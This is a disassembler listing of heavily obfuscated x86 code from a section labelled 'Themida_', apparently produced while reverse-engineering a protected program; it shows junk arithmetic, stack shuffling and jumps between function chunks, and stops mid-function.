loc_597893: ; CODE XREF: Themida_:0059860Ej
mov edi, 0A9E44CFh
add edi, 0BA2B10D3h
add ebp, edi
pop edi
sub ebx, ebp
jmp loc_59882D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2552
loc_5978A8: ; CODE XREF: sub_5A2552+12j
add edi, 5B4B292Bh
add edi, 31B45B2Ch
sub edi, 4EC31005h
sub edi, 0DF9C9E7Fh
or edi, 72F96093h
shr edi, 5
add edi, 3B0274A4h
add edi, 0C0FDBF72h
add ebp, edi
jmp loc_5A59CC
; END OF FUNCTION CHUNK FOR sub_5A2552
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594A8D
loc_5978DC: ; CODE XREF: sub_594A8D+4BCAj
dec edi
sub edi, 5647041Dh
mov esi, edi
pop edi
xor esi, 38B711B2h
add esi, 8BD9F68Ch
add ebx, esi
pop esi
shr ebx, 7
xor ebx, 143BE891h
xor eax, ebx
pop ebx
jmp loc_591854
; END OF FUNCTION CHUNK FOR sub_594A8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_597906: ; CODE XREF: sub_59390B+6909j
xor esi, 110D6511h
push esi
xchg edx, [esp+0]
push edx
not dword ptr [esp+0]
jmp loc_5992C1
; ---------------------------------------------------------------------------
loc_597919: ; CODE XREF: sub_59390B+637Dj
pop dword ptr [esp+0]
mov esp, [esp+0]
add esp, 4
movzx ecx, ax
push 546Ah
jmp loc_59E73A
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_597932: ; CODE XREF: Themida_:005A1455j
push ebx
mov ebx, 77065142h
xor ebx, 627B7160h
inc ebx
sub ebx, 0CB74D0E7h
jmp loc_595079
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59794A: ; CODE XREF: sub_59390B+839j
xor ebp, 73051BB5h
add eax, ebp
pop ebp
add eax, 4
xchg eax, [esp+10h+var_10]
pop esp
push ebx
push 23F9h
jmp loc_59D685
; ---------------------------------------------------------------------------
loc_597965: ; CODE XREF: sub_59390B+4B60j
add eax, 1
neg eax
sub eax, 22654B8Eh
push ecx
mov ecx, 92226A11h
add eax, ecx
pop ecx
push edx
mov edx, 5D2F4570h
sub ebp, edx
jmp loc_595839
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59654E
loc_597987: ; CODE XREF: sub_59654E+5918j
pop edi
push edx
jmp loc_5983AC
; END OF FUNCTION CHUNK FOR sub_59654E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FE1
loc_59798E: ; CODE XREF: sub_591FE1+7162j
mov edx, 6F170E93h
jmp loc_59685F
; END OF FUNCTION CHUNK FOR sub_591FE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5999E6
loc_597998: ; CODE XREF: sub_5999E6+18j
add eax, 63CF25DFh
sub eax, ebp
sub eax, 63CF25DFh
pop ebp
not eax
push edi
mov edi, 72A03151h
shr edi, 2
sub edi, 44724276h
sub edi, 6FC301A2h
xor edi, 4A186BD2h
xor edi, 0B84D4B6h
not edi
dec edi
push ebx
mov ebx, 18CC7AADh
add edi, ebx
pop ebx
shl edi, 7
and edi, 59140DB9h
add edi, 13E1CB45h
add eax, edi
pop edi
push eax
mov esi, [esp+0]
add esp, 4
pop eax
add eax, esi
mov esi, [esp-8+arg_4]
add esp, 4
jmp loc_5942DA
; END OF FUNCTION CHUNK FOR sub_5999E6
; ---------------------------------------------------------------------------
push dword ptr [edx]
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_597A05: ; CODE XREF: Themida_:005A4A0Bj
mov [esp], edi
push 8515B36h
pop edi
push ecx
mov ecx, 30E8B451h
xor edi, ecx
pop ecx
push edi
jmp loc_59A110
; ---------------------------------------------------------------------------
loc_597A1D: ; CODE XREF: Themida_:005926A5j
mov ecx, esp
push edx
push 4
jmp loc_59CA4C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_597A2A: ; CODE XREF: sub_59390B+163j
pop ebp
jmp loc_5A4466
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_597A30: ; CODE XREF: Themida_:00598052j
add edx, edi
pop edi
xchg edx, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], esi
mov esi, esp
push edi
jmp loc_59C899
; ---------------------------------------------------------------------------
loc_597A4A: ; CODE XREF: Themida_:0059BF1Dj
pop dword ptr [esp]
add dword ptr [esp], 4
pop eax
push ecx
mov ecx, 4
add eax, ecx
mov ecx, [esp]
add esp, 4
jmp loc_593E19
; ---------------------------------------------------------------------------
loc_597A6B: ; CODE XREF: Themida_:005A37BAj
pop esp
pop dword ptr [esp]
mov esp, [esp]
add dword ptr [esp], 5C495D2Dh
jmp loc_5A440D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_597A7E: ; CODE XREF: sub_59390B+11946j
mov edi, 411C0FEBh
jmp loc_596117
; ---------------------------------------------------------------------------
loc_597A88: ; CODE XREF: sub_59390B+668Cj
mov [esp-0Ch+arg_4], edx
push ecx
mov ecx, 67554144h
shr ecx, 6
push 1E25h
mov [esp+0], esi
mov esi, 7F807821h
shr esi, 7
dec esi
jmp loc_59D0AF
; ---------------------------------------------------------------------------
loc_597AAA: ; CODE XREF: sub_59390B+AC81j
pop eax
pop edi
pop dword ptr [eax]
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_597AB3: ; CODE XREF: Themida_:0059B5C6j
mov [esp], ebx
jmp loc_594CB4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_597ABB: ; CODE XREF: sub_59390B+111EAj
shr ebp, 7
shr ebp, 6
or ebp, 62D43682h
and ebp, 408A3494h
shr ebp, 3
add ebp, 0FA5389B7h
add ecx, ebp
jmp loc_595955
; ---------------------------------------------------------------------------
loc_597ADD: ; CODE XREF: sub_59390B+57E4j
add ebp, 4
push edi
mov edi, 5A9567F3h
not edi
add edi, 570B65B4h
not edi
xor edi, 38A023Bh
add ebp, edi
pop edi
xchg ebp, [esp-10h+arg_8]
jmp loc_59DFC1
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A3536
loc_597B04: ; CODE XREF: sub_5A3536-2D0Fj
mov esp, [esp+8+var_8]
inc [esp-4+arg_0]
pushf
jmp loc_5912C3
; END OF FUNCTION CHUNK FOR sub_5A3536
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592E1C
loc_597B10: ; CODE XREF: sub_592E1C+12AE4j
xor ebp, 52707444h
jmp loc_5994BE
; END OF FUNCTION CHUNK FOR sub_592E1C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_597B1B: ; CODE XREF: sub_59390B+698Bj
add edx, 4
add edx, 4
jmp loc_59C4C7
; ---------------------------------------------------------------------------
loc_597B2C: ; CODE XREF: sub_59390B-1611j
sub edx, 55924812h
jmp loc_5984F0
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_597B37: ; DATA XREF: Themida_:005907D0o
push dword ptr [edi+1Ch]
popf
pop cx
rcr dword ptr [esp], cl
pushf
jmp loc_5926EB
; ---------------------------------------------------------------------------
lodsb
jmp loc_5A158A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59BF22
loc_597B4C: ; CODE XREF: sub_59BF22-96FDj
mov eax, 3462217Ah
and ebx, eax
pop eax
push esi
push edx
mov edx, 5B362846h
shl edx, 1
xor edx, 967205F7h
mov esi, edx
jmp loc_593B0D
; END OF FUNCTION CHUNK FOR sub_59BF22
; ---------------------------------------------------------------------------
loc_597B6A: ; CODE XREF: Themida_:0059297Ej
add [esp+4], edx
pop edx
push dword ptr [esp]
mov ecx, [esp]
jmp loc_59C5B0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A23FB
loc_597B7A: ; CODE XREF: sub_5A23FB+2CA8j
pop esp
or eax, eax
jnz sub_59CAFB
push 1
push dword ptr [esp+0]
mov edx, [esp+0]
add esp, 4
push edi
push 48A3h
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
pop edi
push eax
push 6EE010FBh
pop eax
push eax
not [esp+8+var_8]
pop eax
push edx
mov edx, 5E0B17F7h
jmp loc_597F94
; END OF FUNCTION CHUNK FOR sub_5A23FB
; ---------------------------------------------------------------------------
loc_597BB9: ; CODE XREF: Themida_:005A1198j
dec bh
shl bh, 8
push edx
mov dl, 45h
or bh, dl
pop edx
sub bh, 38h
shr bh, 8
sub bh, 0FFh
not bh
jmp loc_5A4F88
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59BDD3
loc_597BD4: ; CODE XREF: sub_59BDD3+833j
add ecx, 3F15BEEh
sub ecx, 3B842190h
sub ecx, 20817186h
pop esi
jmp sub_596FDC
; END OF FUNCTION CHUNK FOR sub_59BDD3
; ---------------------------------------------------------------------------
loc_597BEC: ; CODE XREF: Themida_:005A267Aj
add edx, eax
mov eax, [esp]
add esp, 4
sub edx, eax
sub edx, 4A464B42h
add edx, 29D02B23h
push ebp
mov ebp, 689475Ch
sub edx, ebp
push dword ptr [esp]
pop ebp
push 552Eh
mov [esp], edi
jmp loc_59E48C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_597C1E: ; CODE XREF: sub_59390B+11DDEj
mov dl, ah
mov cl, dl
pop edx
pop eax
mov edx, [esp-20h+arg_18]
add esp, 4
jmp loc_5A220F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_597C32: ; CODE XREF: sub_59CFD4-A886j
sub ecx, 0BE762BC8h
sub esi, 48075024h
add esi, ecx
jmp loc_597408
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
loc_597C45: ; CODE XREF: Themida_:0059F4E2j
add dword ptr [esp], 4
pop edx
add edx, 4
jmp loc_59904A
; ---------------------------------------------------------------------------
loc_597C58: ; CODE XREF: Themida_:0059A111j
mov ebp, 3D4F3A66h
xor [esp+4], ebp
pop ebp
mov esi, [esp]
jmp loc_59806D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_597C6A: ; CODE XREF: sub_59390B+3E0Bj
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp+0]
pop esp
mov [esp-8+arg_0], esi
push 632Dh
mov [esp+0], esp
add dword ptr [esp+0], 4
pop esi
jmp loc_597EDB
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
sub_597C8E proc near ; CODE XREF: sub_59390B+120B1j
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00591FF6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B3EC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059D122 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A17AD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A1F9F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A2F8E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A475F SIZE 00000009 BYTES
push ebp
mov ebp, 4ABA2F58h
inc ebp
dec ebp
add ebp, 5D6541EDh
jmp loc_591FF6
sub_597C8E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5999A4
loc_597CA1: ; CODE XREF: sub_5999A4+29DCj
sub eax, 59B87B62h
mov ebx, [esp+4+var_4]
jmp loc_5A48A2
; END OF FUNCTION CHUNK FOR sub_5999A4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_597CAE: ; CODE XREF: sub_59390B+242Aj
push 1908h
jmp loc_598D5A
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_597CB8: ; CODE XREF: Themida_:005A4C0Bj
mov cl, 0CEh
add al, cl
mov cx, [esp]
jmp loc_59EF88
; ---------------------------------------------------------------------------
loc_597CC5: ; CODE XREF: Themida_:005A2BB4j
pop esi
sub eax, 33683A3Eh
shr eax, 6
xor eax, 5EDDAC43h
add ebp, 79431B5Ah
sub ebp, eax
sub ebp, 79431B5Ah
pop eax
sub ebp, 0A2BA09AEh
jmp loc_5930B2
; ---------------------------------------------------------------------------
loc_597CED: ; CODE XREF: Themida_:0059C54Dj
shr edi, 2
shl edi, 2
add edi, 0A72EB43h
sub esi, edi
pop edi
pop ebp
add esi, 4
jmp loc_59FCDA
; ---------------------------------------------------------------------------
loc_597D05: ; CODE XREF: Themida_:00596220j
mov ecx, [esp]
push ebx
push esp
pop ebx
add ebx, 4
jmp loc_5A33B1
; ---------------------------------------------------------------------------
loc_597D16: ; CODE XREF: Themida_:00591251j
pop eax
push eax
jmp loc_5A30BA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_597D1D: ; CODE XREF: sub_59390B+7B50j
pop esi
sub edi, ecx
pop ecx
push [esp-1Ch+arg_14]
mov esi, [esp-18h+arg_10]
jmp loc_59F9AD
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_597D2C: ; CODE XREF: Themida_:00597275j
sub eax, 554D2E0Bh
movzx ax, byte ptr [eax]
push edi
push esp
mov edi, [esp]
add esp, 4
push 1092h
mov [esp], esi
jmp loc_59C8DB
; ---------------------------------------------------------------------------
loc_597D4D: ; CODE XREF: Themida_:00595888j
push esp
pop esi
push 67C0h
mov [esp], eax
mov eax, 55A32E08h
push ebx
sub esp, 4
jmp loc_5922E7
; ---------------------------------------------------------------------------
loc_597D68: ; CODE XREF: Themida_:0059CE77j
pop ecx
sub edx, 569472CDh
add edx, ebp
add edx, 569472CDh
sub edx, 571B7128h
pop ebp
xchg edx, [esp]
pop esp
mov ax, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
jmp loc_5945D4
; ---------------------------------------------------------------------------
loc_597D96: ; CODE XREF: Themida_:005A584Bj
add cl, 0F2h
jmp loc_5A2DF7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59EA40
loc_597D9E: ; CODE XREF: sub_59EA40-2193j
not [esp+0Ch+var_C]
pop edx
push esi
mov esi, 3AA10FD9h
sub edx, esi
jmp loc_5A209E
; END OF FUNCTION CHUNK FOR sub_59EA40
; ---------------------------------------------------------------------------
loc_597DAF: ; CODE XREF: Themida_:0059F0E2j
push 61F92E46h
pop ebp
jmp loc_596F1D
; ---------------------------------------------------------------------------
loc_597DBA: ; CODE XREF: Themida_:0059A78Aj
sub ebx, edi
sub ebx, 3E67498Ah
pop edi
jmp loc_594CD2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0BFE
loc_597DC8: ; CODE XREF: sub_5A0BFE-1305j
push esi
xor [esp-4+arg_0], 791F11BCh
mov edx, [esp-4+arg_0]
add esp, 4
xor edx, 791F11BCh
mov ebp, edx
pop edx
pop esi
inc ebp
shl ebp, 4
inc ebp
sub esp, 4
jmp loc_5A0A17
; END OF FUNCTION CHUNK FOR sub_5A0BFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A905
loc_597DF0: ; CODE XREF: sub_59A905-8D6Cj
pop esi
jmp loc_59E5ED
; END OF FUNCTION CHUNK FOR sub_59A905
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_597DF6: ; CODE XREF: sub_59CAFB-6C93j
pop esp
pop eax
and eax, ebx
mov ebx, [esp+4+var_4]
add esp, 4
or eax, eax
jz loc_5A15E6
push 1759h
mov [esp+4+var_4], ecx
mov ecx, 28h
jmp sub_5933BB
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
loc_597E1D: ; CODE XREF: Themida_:005A3B52j
add esp, 4
push ecx
mov ch, dl
mov bl, ch
mov ecx, [esp]
add esp, 4
mov edx, [esp]
add esp, 4
jmp loc_59ED89
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_597E3C: ; CODE XREF: sub_59390B+10789j
add eax, 4
sub eax, 4
jmp loc_592997
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_597E49: ; CODE XREF: Themida_:005A400Ej
push edi
push edx
push 46F434C4h
pop edx
sub edx, 2C577DBEh
jmp loc_59AB71
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_597E5C: ; CODE XREF: sub_59390B+770j
push [esp+8+var_4]
pop ebp
pop [esp+8+var_8]
not ebp
xchg ebp, [esp+4+var_4]
pop eax
xchg eax, ebp
not ebp
push eax
jmp sub_59605F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_597E73: ; CODE XREF: Themida_:0059EF28j
pop ebx
push esi
push 777Eh
mov [esp], edi
push 43F753CCh
pop edi
jmp loc_5A1962
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594A8D
loc_597E88: ; CODE XREF: sub_594A8D+ECF9j
push eax
mov eax, 3AAC4A40h
add eax, 711F0691h
shl eax, 4
sub eax, 827BD043h
or esi, eax
pop eax
jmp loc_59A3DD
; END OF FUNCTION CHUNK FOR sub_594A8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595941
loc_597EA3: ; CODE XREF: sub_595941+A3F3j
push 4
jmp loc_591DBE
; END OF FUNCTION CHUNK FOR sub_595941
; ---------------------------------------------------------------------------
loc_597EAD: ; CODE XREF: Themida_:00591ABAj
not edi
shr edi, 8
jmp loc_5A09C2
; ---------------------------------------------------------------------------
loc_597EB7: ; CODE XREF: Themida_:00594630j
not edx
xchg eax, edx
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov ebx, [esp]
jmp loc_5A2298
; ---------------------------------------------------------------------------
loc_597ECB: ; CODE XREF: Themida_:0059C209j
push eax
mov eax, 4
jmp loc_59BCBC
; ---------------------------------------------------------------------------
loc_597ED6: ; CODE XREF: Themida_:0059E125j
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_597EDB: ; CODE XREF: sub_59390B+437Ej
add esi, 4
push ebx
mov ebx, 4
add esi, 6B5B3F04h
add esi, ebx
push ebx
jmp sub_5A0D58
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_597EF5: ; CODE XREF: Themida_:005A3170j
push ebx
mov ebx, 0C622D55h
add ebx, 625A2069h
push edi
mov edi, 159C681Bh
and edi, 2D872E59h
or edi, 7C8F368Fh
jmp loc_5A342B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5964B7
loc_597F18: ; CODE XREF: sub_5964B7-1BA8j
add ebx, 247A56EFh
shl ebx, 8
sub ebx, 0FA8299FEh
sub ebp, ebx
pop ebx
xor ebp, [esp+8+var_8]
xor [esp+8+var_8], ebp
jmp loc_5947EA
; ---------------------------------------------------------------------------
loc_597F35: ; CODE XREF: sub_5964B7+84EBj
pop edi
add [esp+10h+var_8], 5E6C39B5h
jmp loc_594A06
; END OF FUNCTION CHUNK FOR sub_5964B7
; ---------------------------------------------------------------------------
loc_597F43: ; CODE XREF: Themida_:0059139Cj
push 2671h
jmp loc_5A16C8
; ---------------------------------------------------------------------------
loc_597F4D: ; CODE XREF: Themida_:00599177j
push edi
pop esi
jmp loc_5A05D8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_597F54: ; CODE XREF: sub_59390B-1889j
add [esp-10h+arg_C], ecx
pop ecx
mov edi, [esp-14h+arg_C]
add esp, 4
push 2078h
mov [esp-14h+arg_C], esi
push edx
jmp loc_593B88
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_597F6D: ; CODE XREF: sub_59FD45-4AB6j
add ebp, 0CE9E2FF2h
not ebp
inc ebp
jmp loc_595527
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
loc_597F7B: ; CODE XREF: Themida_:005A4051j
not ecx
jmp loc_59EDA5
; ---------------------------------------------------------------------------
loc_597F82: ; CODE XREF: Themida_:005A3F47j
xchg ebx, edx
push 74F4h
mov [esp], ebx
xor [esp], eax
jmp loc_591F4A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A23FB
loc_597F94: ; CODE XREF: sub_5A23FB-A847j
push 6A86h
mov [esp+0Ch+var_C], eax
mov eax, 66BF5939h
push ebp
mov ebp, 0FF5502B9h
sub eax, 23D70941h
sub eax, ebp
jmp loc_5A2446
; END OF FUNCTION CHUNK FOR sub_5A23FB
; ---------------------------------------------------------------------------
loc_597FB3: ; CODE XREF: Themida_:005916B4j
mov [esp], edx
mov edx, 2F0947B8h
add edx, 4DD722FDh
neg edx
xor edx, 53226F8Fh
inc edx
or edx, 7A6F4376h
jmp loc_594BF1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592CFC
loc_597FD5: ; CODE XREF: sub_592CFC+1j
mov bh, 8Bh
inc bh
xor bh, 0B9h
jmp loc_59D72D
; END OF FUNCTION CHUNK FOR sub_592CFC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F53F
loc_597FE1: ; CODE XREF: sub_59F53F-8F72j
mov eax, 26A8163Ah
xor edx, eax
jmp loc_59B138
; END OF FUNCTION CHUNK FOR sub_59F53F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_597FED: ; CODE XREF: sub_59390B+1138Bj
push [esp-10h+arg_8]
pop edi
push ebx
jmp loc_595154
; ---------------------------------------------------------------------------
loc_597FF7: ; CODE XREF: sub_59390B+D512j
mov esi, 4
add ebx, esi
pop esi
jmp sub_59EA40
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_598004: ; CODE XREF: Themida_:0059B04Dj
or edx, 17F35AA5h
push edx
not dword ptr [esp]
pop edx
inc edx
push ebp
jmp loc_5A01E5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_598016: ; CODE XREF: sub_59390B+8C23j
mov edi, 6C8A7B4Dh
add edi, 3F285295h
shr edi, 8
add edi, 93058FDh
add edi, 63064EB1h
shl edi, 4
sub edi, 0AE2DC3AFh
xor esi, edi
jmp loc_592CA1
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_598040: ; CODE XREF: Themida_:0059A1CAj
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
push edi
mov edi, 4
jmp loc_597A30
; ---------------------------------------------------------------------------
loc_598057: ; CODE XREF: Themida_:00591C3Fj
sub esp, 4
mov [esp], edi
push esi
push 537F11BCh
jmp loc_5A334E
; ---------------------------------------------------------------------------
loc_598068: ; CODE XREF: Themida_:005A1D2Dj
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_59806D: ; CODE XREF: Themida_:00597C65j
push edx
jmp loc_5A0308
; ---------------------------------------------------------------------------
loc_598073: ; CODE XREF: Themida_:0059E1E6j
mov edx, 395463E0h
push edx
mov edx, 395463E2h
mov eax, edx
pop edx
add eax, 3A1C5722h
sub eax, edx
jmp loc_59ECD9
; ---------------------------------------------------------------------------
loc_59808D: ; CODE XREF: Themida_:005961B9j
and ebx, 3ADD4650h
dec ebx
xor ebx, 3AD5464Bh
add esi, ebx
pop ebx
add esi, 2
xchg esi, [esp]
pop esp
push small 1332h
mov [esp], bx
jmp loc_5928D9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5980B1: ; CODE XREF: sub_59390B+A2Aj
push dx
mov dl, 0D7h
sub bh, dl
pop dx
sub dh, bh
pop ebx
push ax
mov ah, 0C6h
sub dh, ah
jmp loc_5A10E8
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_5980C7: ; CODE XREF: sub_59FD45+1E79j
add esi, 4
xchg esi, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
and ebx, esi
jmp loc_592155
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
loc_5980DA: ; CODE XREF: Themida_:0059B410j
add ecx, ebx
add ecx, 4FA54DFh
mov ebx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_5A4859
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5980F5: ; CODE XREF: sub_59390B+10977j
push edi
mov edi, 4221171Eh
sub esi, edi
pop edi
mov ebp, esi
jmp loc_59CC50
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5950DF
loc_598105: ; CODE XREF: sub_5950DF-2334j
sub eax, 6BDB0949h
pop ebx
jmp loc_5A34D2
; END OF FUNCTION CHUNK FOR sub_5950DF
; ---------------------------------------------------------------------------
loc_598110: ; CODE XREF: Themida_:00594627j
pop ebx
add dh, 7Dh
sub dh, 8Fh
jmp loc_593C6A
; ---------------------------------------------------------------------------
loc_59811C: ; CODE XREF: Themida_:0059C2B7j
push edi
push esp
pop edi
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
add edi, 2A7552F9h
add edi, 3CF34477h
add edi, ebp
sub edi, 3CF34477h
sub edi, 2A7552F9h
jmp loc_59E338
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59814B: ; CODE XREF: sub_59390B+B4DBj
push [esp+10h+var_10]
jmp loc_5A585A
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_598153: ; CODE XREF: Themida_:0059C89Fj
xor ebp, 34BB40AAh
mov edi, ebp
mov ebp, [esp]
jmp loc_594BCD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5950DF
loc_598163: ; CODE XREF: sub_5950DF+88F2j
sub eax, 86969685h
add edi, 12F307B8h
add edi, eax
sub edi, 12F307B8h
pop eax
add edi, 4
xchg edi, [esp-4+arg_0]
jmp loc_59455A
; END OF FUNCTION CHUNK FOR sub_5950DF
; ---------------------------------------------------------------------------
loc_598185: ; CODE XREF: Themida_:005A3E25j
mov edx, [esp]
push ebx
mov ebx, esp
jmp loc_5A1A58
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591745
loc_598190: ; CODE XREF: sub_591745+10346j
not ebp
sub ebp, 39C6EF81h
or edx, ebp
mov ebp, [esp+8+var_8]
jmp loc_59A6A4
; END OF FUNCTION CHUNK FOR sub_591745
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5981A2: ; CODE XREF: sub_59390B+95E4j
add esp, 4
jmp loc_5A31A1
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FA27
loc_5981AD: ; CODE XREF: sub_59FA27-480Bj
sub edi, 4F0102ABh
jmp loc_5A1DD6
; END OF FUNCTION CHUNK FOR sub_59FA27
; ---------------------------------------------------------------------------
loc_5981B8: ; CODE XREF: Themida_:005965A0j
add esp, 4
add esi, 2
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
mov ax, [esp]
push 3E14h
mov [esp], ecx
mov ecx, esp
push 654Eh
mov [esp], edi
push 4
pop edi
add ecx, edi
mov edi, [esp]
push ecx
push esp
jmp loc_5944B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5981F5: ; CODE XREF: sub_59390B+FCA9j
mov esp, [esp+10h+var_10]
mov [esp+10h+var_10], edx
mov edx, 4C22792Eh
shl edx, 5
sub edx, 0D322EC5h
add edx, 88E3090Fh
mov eax, edx
mov edx, [esp+10h+var_10]
add esp, 4
push eax
add [esp+10h+var_10], 4DEC6C86h
mov ecx, [esp+10h+var_10]
add esp, 4
jmp loc_5A0EB8
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
sub_59822A proc near ; DATA XREF: Themida_:005909ECo
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00591212 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005943B2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005944C4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00597517 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00598DE9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059AAEC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059D54A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059F99D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A1827 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A2027 SIZE 00000014 BYTES
mov cx, [esp+0]
push eax
mov eax, esp
push eax
mov eax, esp
push esi
mov esi, 5D5341A2h
xor esi, 5D5341A6h
add eax, esi
pop esi
sub eax, 4
xchg eax, [esp+8+var_8]
pop esp
mov [esp+4+var_4], edx
mov edx, 28900086h
xor edx, 6555057Ch
sub edx, 4D6A5B03h
add edx, 0FFA5550Dh
push ebx
mov ebx, 7F211449h
